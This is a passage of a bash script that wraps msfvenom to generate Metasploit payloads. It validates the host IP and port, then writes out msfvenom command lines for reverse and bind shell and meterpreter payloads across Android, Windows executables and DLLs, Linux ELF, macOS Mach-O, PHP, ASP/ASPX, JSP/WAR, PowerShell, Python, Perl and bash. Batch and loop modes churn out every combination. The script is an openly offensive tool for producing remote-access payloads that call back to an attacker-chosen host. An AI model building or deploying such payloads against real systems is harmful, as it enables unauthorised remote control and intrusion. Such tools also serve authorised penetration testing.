|
elif [[ "${METHOD}" == "https" || "${METHOD}" == "tls" || "${METHOD}" == "ssl" ]]; then METHOD="https"
|
||
|
|
elif [[ "${METHOD}" == "find"* || "${METHOD}" == "all"* ]]; then METHOD="find_port"; fi
|
||
|
|
|
||
|
|
## Did user enter an interface instead of an IP address?
|
||
|
|
for (( x=0; x<${#IFACE[@]}; ++x )); do [[ "${IP}" == "${IFACE[${x}]}" ]] && IP=${IPs[${x}]} && break; done
|
||
|
|
|
||
|
|
## WAN interface?
|
||
|
|
if [[ -n "${WAN}" && "${IP}" == "${WAN}" ]]; then
|
||
|
|
[[ "${VERBOSE}" == "true" ]] \
|
||
|
|
&& echo -e " ${YELLOW}[i]${RESET} WAN IP: ${YELLOW}${WAN}${RESET} "
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Valued entered for IP address? Is it a valid IPv4 address? Else assume its a domain...
|
||
|
|
if [[ "${IP}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then
|
||
|
|
for (( i=1; i<${#BASH_REMATCH[@]}; ++i )); do
|
||
|
|
(( ${BASH_REMATCH[${i}]} <= 255 )) || { echo -e " ${YELLOW}[i]${RESET} IP (${IP}) appears to be a ${RED}invalid IPv4 address${RESET} =(" >&2 && exit 3; }
|
||
|
|
done
|
||
|
|
elif [[ -n "${IP}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} ${IP} isn't a IPv4 address. ${YELLOW}Assuming its a domain name${RESET}..."
|
||
|
|
DOMAIN=true
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Valid port?
|
||
|
|
if [[ "${PORT}" -lt 1 || "${PORT}" -gt 65535 ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} PORT (${PORT}) is incorrect. Needs to be ${YELLOW}between 1-65535${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
## IP menu
|
||
|
|
if [[ -n "${TYPE}" && -z "${IP}" ]]; then
|
||
|
|
echo -e "\n ${YELLOW}[i]${RESET} Use which ${BLUE}interface${RESET} - ${YELLOW}IP address${RESET}?:"
|
||
|
|
I=0
|
||
|
|
for iface in "${IFACE[@]}"; do
|
||
|
|
IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' )"
|
||
|
|
[[ -z "${IPs[${I}]}" ]] \
|
||
|
|
&& IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet addr:' | \cut -d':' -f2 | \cut -d' ' -f1 )"
|
||
|
|
[[ -z "${IPs[${I}]}" ]] \
|
||
|
|
&& IPs[${I}]="UNKNOWN"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}+1]${RESET}.) ${BLUE}${iface}${RESET} - ${YELLOW}${IPs[${I}]}${RESET}"
|
||
|
|
I=$[${I}+1]
|
||
|
|
done
|
||
|
|
[[ -n "${WAN}" ]] \
|
||
|
|
&& I=$[${I}+1] \
|
||
|
|
&& echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}]${RESET}.) ${BLUE}wan${RESET} - ${YELLOW}${WAN}${RESET}"
|
||
|
|
_IP=""
|
||
|
|
while [[ -z "${_IP}" ]]; do
|
||
|
|
echo -ne " ${YELLOW}[?]${RESET} Select ${GREEN}1-${I}${RESET}, ${BLUE}interface${RESET} or ${YELLOW}IP address${RESET}"; read -p ": " INPUT
|
||
|
|
for (( x=0; x<${I}; ++x )); do [[ "${INPUT}" == "${IFACE[${x}]}" ]] && _IP="${IPs[${x}]}"; done # Did user enter interface?
|
||
|
|
[[ -n "${WAN}" && "${INPUT}" == "${INPUT}" ]] && _IP="${WAN}" # Did user enter wan?
|
||
|
|
[[ "${INPUT}" != *"."* && "${INPUT}" -ge 1 && "${INPUT}" -le "${I}" ]] && _IP="${IPs[${INPUT}-1]}" # Did user select number?
|
||
|
|
#for ip in "${IPs[@]}"; do [[ "${INPUT}" == "${ip}" ]] && _IP="${ip}"; done # Did user enter a known IP?
|
||
|
|
[[ "${INPUT}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]] && _IP="${INPUT}" # Did the user enter a IP address (doesn't valid it)
|
||
|
|
IP="${_IP}"
|
||
|
|
done
|
||
|
|
echo ""
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
## Generate #1 (Batch/Looping)
|
||
|
|
## Loop mode?
|
||
|
|
if [[ "${LOOP}" == "true" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Loop Mode. ${BOLD}Creating one of each TYPE${RESET}, with default values"
|
||
|
|
[[ "${VERBOSE}" == "true" ]] \
|
||
|
|
&& _VERBOSE="verbose"
|
||
|
|
for (( i=0; i<${#TYPEs[@]}; ++i )); do
|
||
|
|
echo "" # "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}"
|
||
|
|
eval "${0}" "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}" # chmod +x ${0}
|
||
|
|
echo ""
|
||
|
|
done # for TYPEs[@]
|
||
|
|
echo ""
|
||
|
|
eval "${0}" "dll" "${IP}" "${PORT}" "${_VERBOSE}" #... the odd one out!
|
||
|
|
echo ""
|
||
|
|
elif [[ "${BATCH}" == "true" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Batch Mode. ${BOLD}Creating as many different combinations as possible${RESET}"
|
||
|
|
[[ "${VERBOSE}" == "true" ]] \
|
||
|
|
&& _VERBOSE="verbose"
|
||
|
|
for (( i=0; i<${#TYPEs[@]}; ++i )); do
|
||
|
|
if [[ -z "${TYPE}" || "${TYPEs[${i}]}" == "${TYPE}" || "${FORMATs[${i}]}" == "${TYPE}" ]]; then
|
||
|
|
type="${TYPEs[${i}]}"
|
||
|
|
[[ -n "${TYPE}" && "${FORMATs[${i}]}" == "${TYPE}" ]] && type="${FORMATs[${i}]}"
|
||
|
|
for shell in "meterpreter" "shell"; do
|
||
|
|
if [[ -z "${SHELL}" || "${shell}" == "${SHELL}" ]]; then
|
||
|
|
for direction in "reverse" "bind"; do
|
||
|
|
if [[ -z "${DIRECTION}" || "${direction}" == "${DIRECTION}" ]]; then
|
||
|
|
for staged in "staged" "stageless"; do
|
||
|
|
if [[ -z "${STAGE}" || "${staged}" == "${STAGE}" ]]; then
|
||
|
|
for method in "tcp" "http" "https" "find_port"; do
|
||
|
|
if [[ -z "${METHOD}" || "${method}" == "${METHOD}" ]]; then
|
||
|
|
echo "" # "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}"
|
||
|
|
eval "${0}" "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}" # chmod +x ${0}
|
||
|
|
echo ""
|
||
|
|
fi # "${method}" == "${METHOD}"
|
||
|
|
done # for protocol
|
||
|
|
fi # "${staged}" == "${STAGE}"
|
||
|
|
done # for staged
|
||
|
|
fi # "${direction}" == "${DIRECTION}"
|
||
|
|
done # for direction
|
||
|
|
fi # "${shell}" == "${SHELL}"
|
||
|
|
done # for shell
|
||
|
|
echo -e "\n"
|
||
|
|
fi # "${TYPEs[${i}]}" == "${TYPE}"
|
||
|
|
done # for TYPEs[@]
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
## Set default values (after batch/loop)
|
||
|
|
[[ -z "${METHOD}" ]] \
|
||
|
|
&& METHOD="tcp"
|
||
|
|
[[ -z "${DIRECTION}" ]] \
|
||
|
|
&& DIRECTION="reverse"
|
||
|
|
|
||
|
|
## Valid shell?
|
||
|
|
if [[ -n "${TYPE}" && "${SHELL}" != "shell" && "${SHELL}" != "meterpreter" && -n "${SHELL}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} SHELL (${SHELL}) is incorrect. Needs to be either ${YELLOW}shell${RESET} or ${YELLOW}meterpreter${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Valid staged?
|
||
|
|
if [[ -n "${TYPE}" && "${STAGE}" != "staged" && "${STAGE}" != "stageless" && -n "${STAGE}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} STAGED (${STAGE}) is incorrect. Needs to be either ${YELLOW}staged${RESET} or ${YELLOW}stageless${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
elif [[ -n "${TYPE}" && "${_STAGE}" != "/" && "${_STAGE}" != "_" && -n "${STAGE}" ]]; then # "${STAGE}" != "" is correct
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally) with stage: ${_STAGE}.${RESET}"
|
||
|
|
exit 2
|
||
|
|
fi
|
||
|
|
|
||
|
|
## If its not reverse (bind), the only option is tcp (not http/https/find_ports)
|
||
|
|
if [[ "${DIRECTION}" != "reverse" && "${METHOD}" != "tcp" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to use ${METHOD} with ${DIRECTION}. Please ${YELLOW}switch to reverse${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
## Bind shell does not use LHOST
|
||
|
|
LHOST=""
|
||
|
|
[[ "${DIRECTION}" == "reverse" ]] \
|
||
|
|
&& LHOST="LHOST=${IP}"
|
||
|
|
|
||
|
|
|
||
|
|
## Generate #2 (Single Payload)
|
||
|
|
## APK
|
||
|
|
if [[ "${TYPE}" == "apk" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="stageless" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
[[ "${METHOD}" == "find_port" ]] \
|
||
|
|
&& METHOD="allports"
|
||
|
|
TYPE="android"
|
||
|
|
FILEEXT="apk"
|
||
|
|
PAYLOAD="android/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} \\\\\n ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
|
||
|
|
## ASP
|
||
|
|
elif [[ "${TYPE}" == "asp" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
[[ "${METHOD}" == "find_port" ]] \
|
||
|
|
&& METHOD="allports"
|
||
|
|
# Can't do: stageless meterpreter - The EXE generator now has a max size of 2048 bytes, please fix the calling module
|
||
|
|
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} ASP. The result is over Metasploit's ${RED}file size limit${RESET}. =(" >&2
|
||
|
|
#[[ "${VERBOSE}" != 'true' ]] && exit 5 # Force pass the warning?
|
||
|
|
fi
|
||
|
|
TYPE="windows"
|
||
|
|
FILEEXT="asp"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## ASPX
|
||
|
|
elif [[ "${TYPE}" == "aspx" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
[[ "${METHOD}" == "find_port" ]] \
|
||
|
|
&& METHOD="allports"
|
||
|
|
# Its able todo anything that you throw at it =).
|
||
|
|
TYPE="windows"
|
||
|
|
FILEEXT="aspx"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Bash
|
||
|
|
elif [[ "${TYPE}" == "bash" || "${TYPE}" == "sh" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="shell"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Can't do: meterpreter or stageless - Invalid Payload Selected
|
||
|
|
# Can't do: bind option // http, https or find_port options
|
||
|
|
if [[ "${STAGE}" == "stageless" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE}. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} Bash. There ${RED}isn't a Bash ${SHELL}${RESET}...yet?" >&2
|
||
|
|
elif [[ "${DIRECTION}" != "reverse" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION}. There ${RED}isn't a ${DIRECTION} Bash${RESET}...yet?" >&2
|
||
|
|
fi
|
||
|
|
TYPE="bash"
|
||
|
|
FILEEXT="sh"
|
||
|
|
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_bash"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform unix -e generic/none -a cmd ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Java
|
||
|
|
elif [[ "${TYPE}" == "java" || "${TYPE}" == "jsp" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Can't do: stageless meterpreter - Invalid Payload Selected
|
||
|
|
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Java. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
fi
|
||
|
|
TYPE="java"
|
||
|
|
FILEEXT="jsp"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Linux
|
||
|
|
elif [[ "${TYPE}" == "linux" || "${TYPE}" == "lin" || "${TYPE}" == "elf" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="shell"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Can't do: stageless meterpreter - Invalid Payload Selected
|
||
|
|
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Linux. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
fi
|
||
|
|
TYPE="linux"
|
||
|
|
FILEEXT="elf" #bin
|
||
|
|
PAYLOAD="${TYPE}/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## OSX
|
||
|
|
elif [[ "${TYPE}" == "osx" || "${TYPE}" == "macho" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="shell"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="stageless" \
|
||
|
|
&& _STAGE="_"
|
||
|
|
# Can't do: meterpreter or stageless - Invalid Payload Selected
|
||
|
|
if [[ "${STAGE}" == "staged" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} OSX. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} OSX. There ${RED}isn't a OSX Meterpreter${RESET}...yet." >&2
|
||
|
|
fi
|
||
|
|
TYPE="osx"
|
||
|
|
FILEEXT="macho"
|
||
|
|
PAYLOAD="osx/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Perl
|
||
|
|
elif [[ "${TYPE}" == "perl" || "${TYPE}" == "pl" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="shell"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Can't do: meterpreter or stageless - Invalid Payload Selected
|
||
|
|
if [[ "${STAGE}" == "stageless" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} PERL. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PERL. There ${RED}isn't a PERL Meterpreter${RESET}...yet." >&2
|
||
|
|
fi
|
||
|
|
TYPE="linux"
|
||
|
|
FILEEXT="pl"
|
||
|
|
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_perl"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform unix -a cmd -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## PHP
|
||
|
|
elif [[ "${TYPE}" == "php" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Can't do: shell - Invalid Payload Selected
|
||
|
|
if [[ "${SHELL}" == "shell" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PHP. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
fi
|
||
|
|
TYPE="php"
|
||
|
|
FILEEXT="php"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Powershell
|
||
|
|
elif [[ "${TYPE}" == "powershell" || "${TYPE}" == "ps1" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="stageless" \
|
||
|
|
&& _STAGE="_"
|
||
|
|
[[ "${METHOD}" == "find_port" ]] \
|
||
|
|
&& METHOD="allports"
|
||
|
|
TYPE="windows"
|
||
|
|
FILEEXT="ps1"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ps1 \\\\\n --platform ${TYPE} -e generic/none -a x86 ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Python
|
||
|
|
elif [[ "${TYPE}" == "python" || "${TYPE}" == "py" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Cant do: staged shell // stageless meterpreter // stageless bind - Invalid Payload Selected
|
||
|
|
if [[ "${STAGE}" == "staged" && "${SHELL}" == "shell" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${DIRECTION} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
fi
|
||
|
|
TYPE="python"
|
||
|
|
FILEEXT="py"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Tomcat
|
||
|
|
elif [[ "${TYPE}" == "tomcat" || "${TYPE}" == "war" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
# Cant do: stageless meterpreter // stageless bind // find_ports (Invalid Payload Selected)
|
||
|
|
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION} ${STAGE} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
elif [[ "${METHOD}" == "find_ports" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Unable to do ${METHOD} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
|
||
|
|
fi
|
||
|
|
TYPE="tomcat"
|
||
|
|
FILEEXT="war"
|
||
|
|
PAYLOAD="java/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform java -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Windows
|
||
|
|
elif [[ "${TYPE}" == "windows" || "${TYPE}" == "win" || "${TYPE}" == "exe" || "${TYPE}" == "dll" || "${TYPE}" == "srv" ]]; then
|
||
|
|
[[ -z "${SHELL}" ]] \
|
||
|
|
&& SHELL="meterpreter"
|
||
|
|
[[ -z "${STAGE}" ]] \
|
||
|
|
&& STAGE="staged" \
|
||
|
|
&& _STAGE="/"
|
||
|
|
[[ "${METHOD}" == "find_port" ]] \
|
||
|
|
&& METHOD="allports"
|
||
|
|
# Its able todo anything that you throw at it =).
|
||
|
|
FILEEXT="exe"
|
||
|
|
[[ "${TYPE}" == "dll" ]] && FILEEXT="dll"
|
||
|
|
[[ "${TYPE}" == "srv" ]] && FILEEXT="exe-service"
|
||
|
|
TYPE="windows"
|
||
|
|
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
|
||
|
|
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT%-service}'"
|
||
|
|
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
|
||
|
|
|
||
|
|
## Batch/Loop modes
|
||
|
|
elif [[ "${BATCH}" == "true" || "${LOOP}" == "true" ]]; then
|
||
|
|
#SUCCESS=true
|
||
|
|
exit 0
|
||
|
|
|
||
|
|
## Blank input
|
||
|
|
elif [[ -z "${TYPE}" ]]; then
|
||
|
|
echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing TYPE${RESET} or ${YELLOW}BATCH/LOOP mode${RESET}"
|
||
|
|
|
||
|
|
## Unexpected input
|
||
|
|
else
|
||
|
|
echo -e "\n ${YELLOW}[i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET}" >&2
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
#-Done--------------------------------------------------------#
|
||
|
|
|
||
|
|
|
||
|
|
##### Done!
|
||
|
|
